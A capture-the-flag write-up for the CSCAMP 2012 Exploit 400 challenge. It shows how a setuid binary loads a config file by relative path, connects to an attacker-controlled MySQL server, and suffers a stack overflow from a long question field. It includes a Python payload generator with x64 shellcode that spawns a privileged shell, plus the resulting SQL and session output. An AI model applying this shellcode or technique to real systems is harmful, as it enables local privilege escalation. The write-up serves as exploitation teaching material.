CSCAMP CTF 2012 - Exploit 400

4 minute read

We solved the post-patch version of this binary.

Included with the binary was a mysqldb.conf connection configuration file for the binary to connect to a MySQL database in order to retrieve questions.

localhost
game_user
game_pass
game

The binary does not specify an absolute path, so we may create a mysqldb.conf in our home directory and the binary will use ours. The question field returned will cause a buffer overflow if the length of the question is larger than the buffer.

The vulnerable code:

0000000000400dd4 :
400dd4: 55 push %rbp
400dd5: 48 89 e5 mov %rsp,%rbp
400dd8: 48 83 ec 10 sub $0x10,%rsp
400ddc: 48 89 7d f8 mov %rdi,-0x8(%rbp)
400de0: 48 89 75 f0 mov %rsi,-0x10(%rbp)
400de4: 48 8b 55 f0 mov -0x10(%rbp),%rdx
400de8: 48 8b 45 f8 mov -0x8(%rbp),%rax
400dec: 48 89 d6 mov %rdx,%rsi
400def: 48 89 c7 mov %rax,%rdi
400df2: e8 b1 fe ff ff callq 400ca8
400df7: c9 leaveq
400df8: c3 retq

What we may do is setup a MySQL server to serve remote connections and replace the in-use configuration with our own.

db.nandynarwhals.org
game_burger
game_burger
game_burger

Now we can create the required table with the following schema:

create table questions (id integer primary key, Question varchar(2000) not null,
Answer integer not null);
insert into questions values (1, "How many world wars have there been?", 2);n"

We have written a python script to generate SQL code to populate the first entry with our exploit: a NOPsled with a x64 shellcode to setuid(1003) and then spawn /bin/sh.

import struct, sys

def main():

    if len(sys.argv) < 2:
        print "Usage: python create_payload.py"
        print " BE SURE TO CREATE TABLE WITH THE FOLLOWING FIRST:"
        print " create table questions (id integer primary key, Question
        varchar(2000) not null, Answer integer not null);"
        print " AND INSERT THE FOLLOWING DATA:"
        print " insert into questions values (1, "How many world wars have there
        been?", 2);n"
        return

    shellcode = "xebx0bx2fx62x69x6ex2fx73x68x4ex90x90x90x48x31xc0x66x83xc0x71x48x31xffx48x31xf6x66x81xc7xebx03x66xbexebx03x0fx05x48x31xc0x66x83xc0x3bx48x8dx3dxcfxffxffxffx88x67x07x48x31xf6x48x31xd2x0fx05"
    address = int(sys.argv[1], 16)
    packed_address = struct.pack("Q", address);
    padding = "x90"*(408-len(shellcode))

    payload = padding[:-10] + shellcode + padding[-10:] + packed_address

    mysql_rules = "update questions set Question=CHAR(%s);" % ",".join(str(ord(i)) for i in payload)

    print mysql_rules

if __name__ == "__main__":
    main()

Running this script with the return address 0x7fffffffe520 on the stack within our NOPs.

amon@Alyx:~/cscamp/exp400$ python create_payload.py
Usage: python create_payload.py

BE SURE TO CREATE TABLE WITH THE FOLLOWING FIRST:
create table questions (id integer primary key, Question varchar(2000)
not null, Answer integer not null);
AND INSERT THE FOLLOWING DATA:
insert into questions values (1, "How many world wars have there been?",
2);
amon@Alyx:~/cscamp/exp400$ python create_payload.py 0x7fffffffe520
update questions set Question=CHAR(144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 144, 144, 144, 144, 144, 235, 11, 47, 98, 105, 110, 47,
115, 104, 78, 144, 144, 144, 72, 49, 192, 102,
131, 192, 113, 72, 49, 255, 72, 49, 246, 102, 129, 199, 235, 3, 102,
190, 235, 3, 15, 5, 72, 49, 192, 102, 131, 192,
59, 72, 141, 61, 207, 255, 255, 255, 136, 103, 7, 72, 49, 246, 72, 49,
210, 15, 5, 144, 144, 144, 144, 144, 144, 144,
144, 144, 144, 32, 229, 255, 255, 255, 127, 0, 0);
amon@Alyx:~/cscamp/exp400$

Now all we have to do is apply the SQL update on our fake database and then run the binary using a relative path with our modified mysqldb.conf in our directory.

amon@Alyx:~/cscamp/exp400/exploit$ whoami
amon
amon@Alyx:~/cscamp/exp400/exploit$ ls
mysqldb.conf
amon@Alyx:~/cscamp/exp400/exploit$ ~/cscamp/exp400/level400
$ whoami
level3
$ cat key

Leave a Comment